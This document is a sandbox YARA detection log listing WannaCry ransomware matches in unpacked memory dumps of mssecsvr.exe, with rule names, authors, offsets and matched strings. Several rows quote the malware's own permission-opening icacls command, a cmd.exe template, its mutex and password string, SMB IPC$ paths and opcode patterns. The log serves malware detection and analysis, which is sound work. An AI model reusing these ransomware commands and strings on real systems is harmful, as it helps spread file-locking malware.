4.0.mssecsvr.exe.400000.0.unpack	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0x415a0:$x1: icacls . /grant Everyone:F /T /C /Q 0x3136c:$x3: tasksche.exe 0x4157c:$x3: tasksche.exe 0x41558:$x4: Global\MsWinZonesCacheCounterMutexA 0x415d0:$x5: WNcry@2ol7 0x31344:$x8: C:\%s\qeriuwjhrf 0x415a0:$x9: icacls . /grant Everyone:F /T /C /Q 0x17338:$s1: C:\%s\%s 0x31358:$s1: C:\%s\%s 0x414d0:$s3: cmd.exe /c "%s" 0x73a24:$s4: msg/m_portuguese.wnry 0x2e68c:$s5: \\192.168.56.20\IPC$ 0x1ba81:$s6: \\172.16.99.5\IPC$ 0x9131:$op1: 10 AC 72 0D 3D FF FF 1F AC 77 06 B8 01 00 00 00 0x3876:$op2: 44 24 64 8A C6 44 24 65 0E C6 44 24 66 80 C6 44 0x13e5:$op3: 18 DF 6C 24 14 DC 64 24 2C DC 6C 24 5C DC 15 88
4.0.mssecsvr.exe.400000.0.unpack	WannaCry_Ransomware_Gen	Detects WannaCry Ransomware	Florian Roth (based on rule by US CERT)	0x1bacc:$s1: __TREEID__PLACEHOLDER__ 0x1bb68:$s1: __TREEID__PLACEHOLDER__ 0x1c3d4:$s1: __TREEID__PLACEHOLDER__ 0x1d439:$s1: __TREEID__PLACEHOLDER__ 0x1e4a0:$s1: __TREEID__PLACEHOLDER__ 0x1f508:$s1: __TREEID__PLACEHOLDER__ 0x20570:$s1: __TREEID__PLACEHOLDER__ 0x215d8:$s1: __TREEID__PLACEHOLDER__ 0x22640:$s1: __TREEID__PLACEHOLDER__ 0x236a8:$s1: __TREEID__PLACEHOLDER__ 0x24710:$s1: __TREEID__PLACEHOLDER__ 0x25778:$s1: __TREEID__PLACEHOLDER__ 0x267e0:$s1: __TREEID__PLACEHOLDER__ 0x27848:$s1: __TREEID__PLACEHOLDER__ 0x288b0:$s1: __TREEID__PLACEHOLDER__ 0x29918:$s1: __TREEID__PLACEHOLDER__ 0x2a980:$s1: __TREEID__PLACEHOLDER__ 0x2ab94:$s1: __TREEID__PLACEHOLDER__ 0x2abf4:$s1: __TREEID__PLACEHOLDER__ 0x2e2c4:$s1: __TREEID__PLACEHOLDER__ 0x2e340:$s1: __TREEID__PLACEHOLDER__
4.0.mssecsvr.exe.400000.0.unpack	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
4.0.mssecsvr.exe.400000.0.unpack	wanna_cry_ransomware_generic	detects wannacry ransomware on disk and in virtual page	us-cert code analysis team	0x4157c:$s11: 74 61 73 6B 73 63 68 65 2E 65 78 65 00 00 00 00 54 61 73 6B 53 74 61 72 74 00 00 00 74 2E 77 6E 72 79 00 00 69 63 61 63 0x415a4:$s12: 6C 73 20 2E 20 2F 67 72 61 6E 74 20 45 76 65 72 79 6F 6E 65 3A 46 20 2F 54 20 2F 43 20 2F 51 00 61 74 74 72 69 62 20 2B 68
4.0.mssecsvr.exe.7100a4.1.unpack	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0xe8fc:$x1: icacls . /grant Everyone:F /T /C /Q 0xe8d8:$x3: tasksche.exe 0xe8b4:$x4: Global\MsWinZonesCacheCounterMutexA 0xe92c:$x5: WNcry@2ol7 0xe8fc:$x9: icacls . /grant Everyone:F /T /C /Q 0xe82c:$s3: cmd.exe /c "%s"
4.0.mssecsvr.exe.7100a4.1.unpack	wanna_cry_ransomware_generic	detects wannacry ransomware on disk and in virtual page	us-cert code analysis team	0xe8d8:$s11: 74 61 73 6B 73 63 68 65 2E 65 78 65 00 00 00 00 54 61 73 6B 53 74 61 72 74 00 00 00 74 2E 77 6E 72 79 00 00 69 63 61 63 0xe900:$s12: 6C 73 20 2E 20 2F 67 72 61 6E 74 20 45 76 65 72 79 6F 6E 65 3A 46 20 2F 54 20 2F 43 20 2F 51 00 61 74 74 72 69 62 20 2B 68
7.2.mssecsvr.exe.7100a4.1.unpack	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0xe8fc:$x1: icacls . /grant Everyone:F /T /C /Q 0xe8d8:$x3: tasksche.exe 0xe8b4:$x4: Global\MsWinZonesCacheCounterMutexA 0xe92c:$x5: WNcry@2ol7 0xe8fc:$x9: icacls . /grant Everyone:F /T /C /Q 0xe82c:$s3: cmd.exe /c "%s"
7.2.mssecsvr.exe.7100a4.1.unpack	wanna_cry_ransomware_generic	detects wannacry ransomware on disk and in virtual page	us-cert code analysis team	0xe8d8:$s11: 74 61 73 6B 73 63 68 65 2E 65 78 65 00 00 00 00 54 61 73 6B 53 74 61 72 74 00 00 00 74 2E 77 6E 72 79 00 00 69 63 61 63 0xe900:$s12: 6C 73 20 2E 20 2F 67 72 61 6E 74 20 45 76 65 72 79 6F 6E 65 3A 46 20 2F 54 20 2F 43 20 2F 51 00 61 74 74 72 69 62 20 2B 68
6.0.mssecsvr.exe.7100a4.7.raw.unpack	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0xf4fc:$x1: icacls . /grant Everyone:F /T /C /Q 0xf4d8:$x3: tasksche.exe 0xf4b4:$x4: Global\MsWinZonesCacheCounterMutexA 0xf52c:$x5: WNcry@2ol7 0xf4fc:$x9: icacls . /grant Everyone:F /T /C /Q 0xf42c:$s3: cmd.exe /c "%s" 0x41980:$s4: msg/m_portuguese.wnry
6.0.mssecsvr.exe.7100a4.7.raw.unpack	wanna_cry_ransomware_generic	detects wannacry ransomware on disk and in virtual page	us-cert code analysis team	0xf4d8:$s11: 74 61 73 6B 73 63 68 65 2E 65 78 65 00 00 00 00 54 61 73 6B 53 74 61 72 74 00 00 00 74 2E 77 6E 72 79 00 00 69 63 61 63 0xf500:$s12: 6C 73 20 2E 20 2F 67 72 61 6E 74 20 45 76 65 72 79 6F 6E 65 3A 46 20 2F 54 20 2F 43 20 2F 51 00 61 74 74 72 69 62 20 2B 68
4.2.mssecsvr.exe.7100a4.1.raw.unpack	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0xf4fc:$x1: icacls . /grant Everyone:F /T /C /Q 0xf4d8:$x3: tasksche.exe 0xf4b4:$x4: Global\MsWinZonesCacheCounterMutexA 0xf52c:$x5: WNcry@2ol7 0xf4fc:$x9: icacls . /grant Everyone:F /T /C /Q 0xf42c:$s3: cmd.exe /c "%s" 0x41980:$s4: msg/m_portuguese.wnry
4.2.mssecsvr.exe.7100a4.1.raw.unpack	wanna_cry_ransomware_generic	detects wannacry ransomware on disk and in virtual page	us-cert code analysis team	0xf4d8:$s11: 74 61 73 6B 73 63 68 65 2E 65 78 65 00 00 00 00 54 61 73 6B 53 74 61 72 74 00 00 00 74 2E 77 6E 72 79 00 00 69 63 61 63 0xf500:$s12: 6C 73 20 2E 20 2F 67 72 61 6E 74 20 45 76 65 72 79 6F 6E 65 3A 46 20 2F 54 20 2F 43 20 2F 51 00 61 74 74 72 69 62 20 2B 68
6.2.mssecsvr.exe.7100a4.1.raw.unpack	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0xf4fc:$x1: icacls . /grant Everyone:F /T /C /Q 0xf4d8:$x3: tasksche.exe 0xf4b4:$x4: Global\MsWinZonesCacheCounterMutexA 0xf52c:$x5: WNcry@2ol7 0xf4fc:$x9: icacls . /grant Everyone:F /T /C /Q 0xf42c:$s3: cmd.exe /c "%s" 0x41980:$s4: msg/m_portuguese.wnry
6.2.mssecsvr.exe.7100a4.1.raw.unpack	wanna_cry_ransomware_generic	detects wannacry ransomware on disk and in virtual page	us-cert code analysis team	0xf4d8:$s11: 74 61 73 6B 73 63 68 65 2E 65 78 65 00 00 00 00 54 61 73 6B 53 74 61 72 74 00 00 00 74 2E 77 6E 72 79 00 00 69 63 61 63 0xf500:$s12: 6C 73 20 2E 20 2F 67 72 61 6E 74 20 45 76 65 72 79 6F 6E 65 3A 46 20 2F 54 20 2F 43 20 2F 51 00 61 74 74 72 69 62 20 2B 68
4.0.mssecsvr.exe.7100a4.1.raw.unpack	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0xf4fc:$x1: icacls . /grant Everyone:F /T /C /Q 0xf4d8:$x3: tasksche.exe 0xf4b4:$x4: Global\MsWinZonesCacheCounterMutexA 0xf52c:$x5: WNcry@2ol7 0xf4fc:$x9: icacls . /grant Everyone:F /T /C /Q 0xf42c:$s3: cmd.exe /c "%s" 0x41980:$s4: msg/m_portuguese.wnry
4.0.mssecsvr.exe.7100a4.1.raw.unpack	wanna_cry_ransomware_generic	detects wannacry ransomware on disk and in virtual page	us-cert code analysis team	0xf4d8:$s11: 74 61 73 6B 73 63 68 65 2E 65 78 65 00 00 00 00 54 61 73 6B 53 74 61 72 74 00 00 00 74 2E 77 6E 72 79 00 00 69 63 61 63 0xf500:$s12: 6C 73 20 2E 20 2F 67 72 61 6E 74 20 45 76 65 72 79 6F 6E 65 3A 46 20 2F 54 20 2F 43 20 2F 51 00 61 74 74 72 69 62 20 2B 68
4.0.mssecsvr.exe.7100a4.7.raw.unpack	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0xf4fc:$x1: icacls . /grant Everyone:F /T /C /Q 0xf4d8:$x3: tasksche.exe 0xf4b4:$x4: Global\MsWinZonesCacheCounterMutexA 0xf52c:$x5: WNcry@2ol7 0xf4fc:$x9: icacls . /grant Everyone:F /T /C /Q 0xf42c:$s3: cmd.exe /c "%s" 0x41980:$s4: msg/m_portuguese.wnry
4.0.mssecsvr.exe.7100a4.7.raw.unpack	wanna_cry_ransomware_generic	detects wannacry ransomware on disk and in virtual page	us-cert code analysis team	0xf4d8:$s11: 74 61 73 6B 73 63 68 65 2E 65 78 65 00 00 00 00 54 61 73 6B 53 74 61 72 74 00 00 00 74 2E 77 6E 72 79 00 00 69 63 61 63 0xf500:$s12: 6C 73 20 2E 20 2F 67 72 61 6E 74 20 45 76 65 72 79 6F 6E 65 3A 46 20 2F 54 20 2F 43 20 2F 51 00 61 74 74 72 69 62 20 2B 68
7.0.mssecsvr.exe.7100a4.1.raw.unpack	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0xf4fc:$x1: icacls . /grant Everyone:F /T /C /Q 0xf4d8:$x3: tasksche.exe 0xf4b4:$x4: Global\MsWinZonesCacheCounterMutexA 0xf52c:$x5: WNcry@2ol7 0xf4fc:$x9: icacls . /grant Everyone:F /T /C /Q 0xf42c:$s3: cmd.exe /c "%s" 0x41980:$s4: msg/m_portuguese.wnry
7.0.mssecsvr.exe.7100a4.1.raw.unpack	wanna_cry_ransomware_generic	detects wannacry ransomware on disk and in virtual page	us-cert code analysis team	0xf4d8:$s11: 74 61 73 6B 73 63 68 65 2E 65 78 65 00 00 00 00 54 61 73 6B 53 74 61 72 74 00 00 00 74 2E 77 6E 72 79 00 00 69 63 61 63 0xf500:$s12: 6C 73 20 2E 20 2F 67 72 61 6E 74 20 45 76 65 72 79 6F 6E 65 3A 46 20 2F 54 20 2F 43 20 2F 51 00 61 74 74 72 69 62 20 2B 68
6.0.mssecsvr.exe.7100a4.5.raw.unpack	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0xf4fc:$x1: icacls . /grant Everyone:F /T /C /Q 0xf4d8:$x3: tasksche.exe 0xf4b4:$x4: Global\MsWinZonesCacheCounterMutexA 0xf52c:$x5: WNcry@2ol7 0xf4fc:$x9: icacls . /grant Everyone:F /T /C /Q 0xf42c:$s3: cmd.exe /c "%s" 0x41980:$s4: msg/m_portuguese.wnry
6.0.mssecsvr.exe.7100a4.5.raw.unpack	wanna_cry_ransomware_generic	detects wannacry ransomware on disk and in virtual page	us-cert code analysis team	0xf4d8:$s11: 74 61 73 6B 73 63 68 65 2E 65 78 65 00 00 00 00 54 61 73 6B 53 74 61 72 74 00 00 00 74 2E 77 6E 72 79 00 00 69 63 61 63 0xf500:$s12: 6C 73 20 2E 20 2F 67 72 61 6E 74 20 45 76 65 72 79 6F 6E 65 3A 46 20 2F 54 20 2F 43 20 2F 51 00 61 74 74 72 69 62 20 2B 68
6.0.mssecsvr.exe.7100a4.3.raw.unpack	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0xf4fc:$x1: icacls . /grant Everyone:F /T /C /Q 0xf4d8:$x3: tasksche.exe 0xf4b4:$x4: Global\MsWinZonesCacheCounterMutexA 0xf52c:$x5: WNcry@2ol7 0xf4fc:$x9: icacls . /grant Everyone:F /T /C /Q 0xf42c:$s3: cmd.exe /c "%s" 0x41980:$s4: msg/m_portuguese.wnry
6.0.mssecsvr.exe.7100a4.3.raw.unpack	wanna_cry_ransomware_generic	detects wannacry ransomware on disk and in virtual page	us-cert code analysis team	0xf4d8:$s11: 74 61 73 6B 73 63 68 65 2E 65 78 65 00 00 00 00 54 61 73 6B 53 74 61 72 74 00 00 00 74 2E 77 6E 72 79 00 00 69 63 61 63 0xf500:$s12: 6C 73 20 2E 20 2F 67 72 61 6E 74 20 45 76 65 72 79 6F 6E 65 3A 46 20 2F 54 20 2F 43 20 2F 51 00 61 74 74 72 69 62 20 2B 68
7.0.mssecsvr.exe.400000.0.unpack	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0x415a0:$x1: icacls . /grant Everyone:F /T /C /Q 0x3136c:$x3: tasksche.exe 0x4157c:$x3: tasksche.exe 0x41558:$x4: Global\MsWinZonesCacheCounterMutexA 0x415d0:$x5: WNcry@2ol7 0x31344:$x8: C:\%s\qeriuwjhrf 0x415a0:$x9: icacls . /grant Everyone:F /T /C /Q 0x17338:$s1: C:\%s\%s 0x31358:$s1: C:\%s\%s 0x414d0:$s3: cmd.exe /c "%s" 0x73a24:$s4: msg/m_portuguese.wnry 0x2e68c:$s5: \\192.168.56.20\IPC$ 0x1ba81:$s6: \\172.16.99.5\IPC$ 0x9131:$op1: 10 AC 72 0D 3D FF FF 1F AC 77 06 B8 01 00 00 00 0x3876:$op2: 44 24 64 8A C6 44 24 65 0E C6 44 24 66 80 C6 44 0x13e5:$op3: 18 DF 6C 24 14 DC 64 24 2C DC 6C 24 5C DC 15 88
7.0.mssecsvr.exe.400000.0.unpack	WannaCry_Ransomware_Gen	Detects WannaCry Ransomware	Florian Roth (based on rule by US CERT)	0x1bacc:$s1: __TREEID__PLACEHOLDER__ 0x1bb68:$s1: __TREEID__PLACEHOLDER__ 0x1c3d4:$s1: __TREEID__PLACEHOLDER__ 0x1d439:$s1: __TREEID__PLACEHOLDER__ 0x1e4a0:$s1: __TREEID__PLACEHOLDER__ 0x1f508:$s1: __TREEID__PLACEHOLDER__ 0x20570:$s1: __TREEID__PLACEHOLDER__ 0x215d8:$s1: __TREEID__PLACEHOLDER__ 0x22640:$s1: __TREEID__PLACEHOLDER__ 0x236a8:$s1: __TREEID__PLACEHOLDER__ 0x24710:$s1: __TREEID__PLACEHOLDER__ 0x25778:$s1: __TREEID__PLACEHOLDER__ 0x267e0:$s1: __TREEID__PLACEHOLDER__ 0x27848:$s1: __TREEID__PLACEHOLDER__ 0x288b0:$s1: __TREEID__PLACEHOLDER__ 0x29918:$s1: __TREEID__PLACEHOLDER__ 0x2a980:$s1: __TREEID__PLACEHOLDER__ 0x2ab94:$s1: __TREEID__PLACEHOLDER__ 0x2abf4:$s1: __TREEID__PLACEHOLDER__ 0x2e2c4:$s1: __TREEID__PLACEHOLDER__ 0x2e340:$s1: __TREEID__PLACEHOLDER__
7.0.mssecsvr.exe.400000.0.unpack	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
7.0.mssecsvr.exe.400000.0.unpack	wanna_cry_ransomware_generic	detects wannacry ransomware on disk and in virtual page	us-cert code analysis team	0x4157c:$s11: 74 61 73 6B 73 63 68 65 2E 65 78 65 00 00 00 00 54 61 73 6B 53 74 61 72 74 00 00 00 74 2E 77 6E 72 79 00 00 69 63 61 63 0x415a4:$s12: 6C 73 20 2E 20 2F 67 72 61 6E 74 20 45 76 65 72 79 6F 6E 65 3A 46 20 2F 54 20 2F 43 20 2F 51 00 61 74 74 72 69 62 20 2B 68
6.0.mssecsvr.exe.7100a4.1.raw.unpack	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0xf4fc:$x1: icacls . /grant Everyone:F /T /C /Q 0xf4d8:$x3: tasksche.exe 0xf4b4:$x4: Global\MsWinZonesCacheCounterMutexA 0xf52c:$x5: WNcry@2ol7 0xf4fc:$x9: icacls . /grant Everyone:F /T /C /Q 0xf42c:$s3: cmd.exe /c "%s" 0x41980:$s4: msg/m_portuguese.wnry
6.0.mssecsvr.exe.7100a4.1.raw.unpack	wanna_cry_ransomware_generic	detects wannacry ransomware on disk and in virtual page	us-cert code analysis team	0xf4d8:$s11: 74 61 73 6B 73 63 68 65 2E 65 78 65 00 00 00 00 54 61 73 6B 53 74 61 72 74 00 00 00 74 2E 77 6E 72 79 00 00 69 63 61 63 0xf500:$s12: 6C 73 20 2E 20 2F 67 72 61 6E 74 20 45 76 65 72 79 6F 6E 65 3A 46 20 2F 54 20 2F 43 20 2F 51 00 61 74 74 72 69 62 20 2B 68
7.2.mssecsvr.exe.400000.0.unpack	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0x415a0:$x1: icacls . /grant Everyone:F /T /C /Q 0x3136c:$x3: tasksche.exe 0x4157c:$x3: tasksche.exe 0x41558:$x4: Global\MsWinZonesCacheCounterMutexA 0x415d0:$x5: WNcry@2ol7 0x31344:$x8: C:\%s\qeriuwjhrf 0x415a0:$x9: icacls . /grant Everyone:F /T /C /Q 0x17338:$s1: C:\%s\%s 0x31358:$s1: C:\%s\%s 0x414d0:$s3: cmd.exe /c "%s" 0x73a24:$s4: msg/m_portuguese.wnry 0x2e68c:$s5: \\192.168.56.20\IPC$ 0x1ba81:$s6: \\172.16.99.5\IPC$ 0x9131:$op1: 10 AC 72 0D 3D FF FF 1F AC 77 06 B8 01 00 00 00 0x3876:$op2: 44 24 64 8A C6 44 24 65 0E C6 44 24 66 80 C6 44 0x13e5:$op3: 18 DF 6C 24 14 DC 64 24 2C DC 6C 24 5C DC 15 88
7.2.mssecsvr.exe.400000.0.unpack	WannaCry_Ransomware_Gen	Detects WannaCry Ransomware	Florian Roth (based on rule by US CERT)	0x1bacc:$s1: __TREEID__PLACEHOLDER__ 0x1bb68:$s1: __TREEID__PLACEHOLDER__ 0x1c3d4:$s1: __TREEID__PLACEHOLDER__ 0x1d439:$s1: __TREEID__PLACEHOLDER__ 0x1e4a0:$s1: __TREEID__PLACEHOLDER__ 0x1f508:$s1: __TREEID__PLACEHOLDER__ 0x20570:$s1: __TREEID__PLACEHOLDER__ 0x215d8:$s1: __TREEID__PLACEHOLDER__ 0x22640:$s1: __TREEID__PLACEHOLDER__ 0x236a8:$s1: __TREEID__PLACEHOLDER__ 0x24710:$s1: __TREEID__PLACEHOLDER__ 0x25778:$s1: __TREEID__PLACEHOLDER__ 0x267e0:$s1: __TREEID__PLACEHOLDER__ 0x27848:$s1: __TREEID__PLACEHOLDER__ 0x288b0:$s1: __TREEID__PLACEHOLDER__ 0x29918:$s1: __TREEID__PLACEHOLDER__ 0x2a980:$s1: __TREEID__PLACEHOLDER__ 0x2ab94:$s1: __TREEID__PLACEHOLDER__ 0x2abf4:$s1: __TREEID__PLACEHOLDER__ 0x2e2c4:$s1: __TREEID__PLACEHOLDER__ 0x2e340:$s1: __TREEID__PLACEHOLDER__
7.2.mssecsvr.exe.400000.0.unpack	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
7.2.mssecsvr.exe.400000.0.unpack	wanna_cry_ransomware_generic	detects wannacry ransomware on disk and in virtual page	us-cert code analysis team	0x4157c:$s11: 74 61 73 6B 73 63 68 65 2E 65 78 65 00 00 00 00 54 61 73 6B 53 74 61 72 74 00 00 00 74 2E 77 6E 72 79 00 00 69 63 61 63 0x415a4:$s12: 6C 73 20 2E 20 2F 67 72 61 6E 74 20 45 76 65 72 79 6F 6E 65 3A 46 20 2F 54 20 2F 43 20 2F 51 00 61 74 74 72 69 62 20 2B 68
4.0.mssecsvr.exe.7100a4.3.raw.unpack	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0xf4fc:$x1: icacls . /grant Everyone:F /T /C /Q 0xf4d8:$x3: tasksche.exe 0xf4b4:$x4: Global\MsWinZonesCacheCounterMutexA 0xf52c:$x5: WNcry@2ol7 0xf4fc:$x9: icacls . /grant Everyone:F /T /C /Q 0xf42c:$s3: cmd.exe /c "%s" 0x41980:$s4: msg/m_portuguese.wnry
4.0.mssecsvr.exe.7100a4.3.raw.unpack	wanna_cry_ransomware_generic	detects wannacry ransomware on disk and in virtual page	us-cert code analysis team	0xf4d8:$s11: 74 61 73 6B 73 63 68 65 2E 65 78 65 00 00 00 00 54 61 73 6B 53 74 61 72 74 00 00 00 74 2E 77 6E 72 79 00 00 69 63 61 63 0xf500:$s12: 6C 73 20 2E 20 2F 67 72 61 6E 74 20 45 76 65 72 79 6F 6E 65 3A 46 20 2F 54 20 2F 43 20 2F 51 00 61 74 74 72 69 62 20 2B 68
4.0.mssecsvr.exe.7100a4.5.raw.unpack	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0xf4fc:$x1: icacls . /grant Everyone:F /T /C /Q 0xf4d8:$x3: tasksche.exe 0xf4b4:$x4: Global\MsWinZonesCacheCounterMutexA 0xf52c:$x5: WNcry@2ol7 0xf4fc:$x9: icacls . /grant Everyone:F /T /C /Q 0xf42c:$s3: cmd.exe /c "%s" 0x41980:$s4: msg/m_portuguese.wnry
4.0.mssecsvr.exe.7100a4.5.raw.unpack	wanna_cry_ransomware_generic	detects wannacry ransomware on disk and in virtual page	us-cert code analysis team	0xf4d8:$s11: 74 61 73 6B 73 63 68 65 2E 65 78 65 00 00 00 00 54 61 73 6B 53 74 61 72 74 00 00 00 74 2E 77 6E 72 79 00 00 69 63 61 63 0xf500:$s12: 6C 73 20 2E 20 2F 67 72 61 6E 74 20 45 76 65 72 79 6F 6E 65 3A 46 20 2F 54 20 2F 43 20 2F 51 00 61 74 74 72 69 62 20 2B 68
6.0.mssecsvr.exe.400000.0.unpack	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0x415a0:$x1: icacls . /grant Everyone:F /T /C /Q 0x3136c:$x3: tasksche.exe 0x4157c:$x3: tasksche.exe 0x41558:$x4: Global\MsWinZonesCacheCounterMutexA 0x415d0:$x5: WNcry@2ol7 0x31344:$x8: C:\%s\qeriuwjhrf 0x415a0:$x9: icacls . /grant Everyone:F /T /C /Q 0x17338:$s1: C:\%s\%s 0x31358:$s1: C:\%s\%s 0x414d0:$s3: cmd.exe /c "%s" 0x73a24:$s4: msg/m_portuguese.wnry 0x2e68c:$s5: \\192.168.56.20\IPC$ 0x1ba81:$s6: \\172.16.99.5\IPC$ 0x9131:$op1: 10 AC 72 0D 3D FF FF 1F AC 77 06 B8 01 00 00 00 0x3876:$op2: 44 24 64 8A C6 44 24 65 0E C6 44 24 66 80 C6 44 0x13e5:$op3: 18 DF 6C 24 14 DC 64 24 2C DC 6C 24 5C DC 15 88
6.0.mssecsvr.exe.400000.0.unpack	WannaCry_Ransomware_Gen	Detects WannaCry Ransomware	Florian Roth (based on rule by US CERT)	0x1bacc:$s1: __TREEID__PLACEHOLDER__ 0x1bb68:$s1: __TREEID__PLACEHOLDER__ 0x1c3d4:$s1: __TREEID__PLACEHOLDER__ 0x1d439:$s1: __TREEID__PLACEHOLDER__ 0x1e4a0:$s1: __TREEID__PLACEHOLDER__ 0x1f508:$s1: __TREEID__PLACEHOLDER__ 0x20570:$s1: __TREEID__PLACEHOLDER__ 0x215d8:$s1: __TREEID__PLACEHOLDER__ 0x22640:$s1: __TREEID__PLACEHOLDER__ 0x236a8:$s1: __TREEID__PLACEHOLDER__ 0x24710:$s1: __TREEID__PLACEHOLDER__ 0x25778:$s1: __TREEID__PLACEHOLDER__ 0x267e0:$s1: __TREEID__PLACEHOLDER__ 0x27848:$s1: __TREEID__PLACEHOLDER__ 0x288b0:$s1: __TREEID__PLACEHOLDER__ 0x29918:$s1: __TREEID__PLACEHOLDER__ 0x2a980:$s1: __TREEID__PLACEHOLDER__ 0x2ab94:$s1: __TREEID__PLACEHOLDER__ 0x2abf4:$s1: __TREEID__PLACEHOLDER__ 0x2e2c4:$s1: __TREEID__PLACEHOLDER__ 0x2e340:$s1: __TREEID__PLACEHOLDER__
6.0.mssecsvr.exe.400000.0.unpack	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
6.0.mssecsvr.exe.400000.0.unpack	wanna_cry_ransomware_generic	detects wannacry ransomware on disk and in virtual page	us-cert code analysis team	0x4157c:$s11: 74 61 73 6B 73 63 68 65 2E 65 78 65 00 00 00 00 54 61 73 6B 53 74 61 72 74 00 00 00 74 2E 77 6E 72 79 00 00 69 63 61 63 0x415a4:$s12: 6C 73 20 2E 20 2F 67 72 61 6E 74 20 45 76 65 72 79 6F 6E 65 3A 46 20 2F 54 20 2F 43 20 2F 51 00 61 74 74 72 69 62 20 2B 68
4.0.mssecsvr.exe.400000.2.unpack	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0x415a0:$x1: icacls . /grant Everyone:F /T /C /Q 0x3136c:$x3: tasksche.exe 0x4157c:$x3: tasksche.exe 0x41558:$x4: Global\MsWinZonesCacheCounterMutexA 0x415d0:$x5: WNcry@2ol7 0x31344:$x8: C:\%s\qeriuwjhrf 0x415a0:$x9: icacls . /grant Everyone:F /T /C /Q 0x17338:$s1: C:\%s\%s 0x31358:$s1: C:\%s\%s 0x414d0:$s3: cmd.exe /c "%s" 0x73a24:$s4: msg/m_portuguese.wnry 0x2e68c:$s5: \\192.168.56.20\IPC$ 0x1ba81:$s6: \\172.16.99.5\IPC$ 0x9131:$op1: 10 AC 72 0D 3D FF FF 1F AC 77 06 B8 01 00 00 00 0x3876:$op2: 44 24 64 8A C6 44 24 65 0E C6 44 24 66 80 C6 44 0x13e5:$op3: 18 DF 6C 24 14 DC 64 24 2C DC 6C 24 5C DC 15 88
4.0.mssecsvr.exe.400000.2.unpack	WannaCry_Ransomware_Gen	Detects WannaCry Ransomware	Florian Roth (based on rule by US CERT)	0x1bacc:$s1: __TREEID__PLACEHOLDER__ 0x1bb68:$s1: __TREEID__PLACEHOLDER__ 0x1c3d4:$s1: __TREEID__PLACEHOLDER__ 0x1d439:$s1: __TREEID__PLACEHOLDER__ 0x1e4a0:$s1: __TREEID__PLACEHOLDER__ 0x1f508:$s1: __TREEID__PLACEHOLDER__ 0x20570:$s1: __TREEID__PLACEHOLDER__ 0x215d8:$s1: __TREEID__PLACEHOLDER__ 0x22640:$s1: __TREEID__PLACEHOLDER__ 0x236a8:$s1: __TREEID__PLACEHOLDER__ 0x24710:$s1: __TREEID__PLACEHOLDER__ 0x25778:$s1: __TREEID__PLACEHOLDER__ 0x267e0:$s1: __TREEID__PLACEHOLDER__ 0x27848:$s1: __TREEID__PLACEHOLDER__ 0x288b0:$s1: __TREEID__PLACEHOLDER__ 0x29918:$s1: __TREEID__PLACEHOLDER__ 0x2a980:$s1: __TREEID__PLACEHOLDER__ 0x2ab94:$s1: __TREEID__PLACEHOLDER__ 0x2abf4:$s1: __TREEID__PLACEHOLDER__ 0x2e2c4:$s1: __TREEID__PLACEHOLDER__ 0x2e340:$s1: __TREEID__PLACEHOLDER__
4.0.mssecsvr.exe.400000.2.unpack	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
4.0.mssecsvr.exe.400000.2.unpack	wanna_cry_ransomware_generic	detects wannacry ransomware on disk and in virtual page	us-cert code analysis team	0x4157c:$s11: 74 61 73 6B 73 63 68 65 2E 65 78 65 00 00 00 00 54 61 73 6B 53 74 61 72 74 00 00 00 74 2E 77 6E 72 79 00 00 69 63 61 63 0x415a4:$s12: 6C 73 20 2E 20 2F 67 72 61 6E 74 20 45 76 65 72 79 6F 6E 65 3A 46 20 2F 54 20 2F 43 20 2F 51 00 61 74 74 72 69 62 20 2B 68
4.0.mssecsvr.exe.400000.4.unpack	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0x415a0:$x1: icacls . /grant Everyone:F /T /C /Q 0x3136c:$x3: tasksche.exe 0x4157c:$x3: tasksche.exe 0x41558:$x4: Global\MsWinZonesCacheCounterMutexA 0x415d0:$x5: WNcry@2ol7 0x31344:$x8: C:\%s\qeriuwjhrf 0x415a0:$x9: icacls . /grant Everyone:F /T /C /Q 0x17338:$s1: C:\%s\%s 0x31358:$s1: C:\%s\%s 0x414d0:$s3: cmd.exe /c "%s" 0x73a24:$s4: msg/m_portuguese.wnry 0x2e68c:$s5: \\192.168.56.20\IPC$ 0x1ba81:$s6: \\172.16.99.5\IPC$ 0x9131:$op1: 10 AC 72 0D 3D FF FF 1F AC 77 06 B8 01 00 00 00 0x3876:$op2: 44 24 64 8A C6 44 24 65 0E C6 44 24 66 80 C6 44 0x13e5:$op3: 18 DF 6C 24 14 DC 64 24 2C DC 6C 24 5C DC 15 88
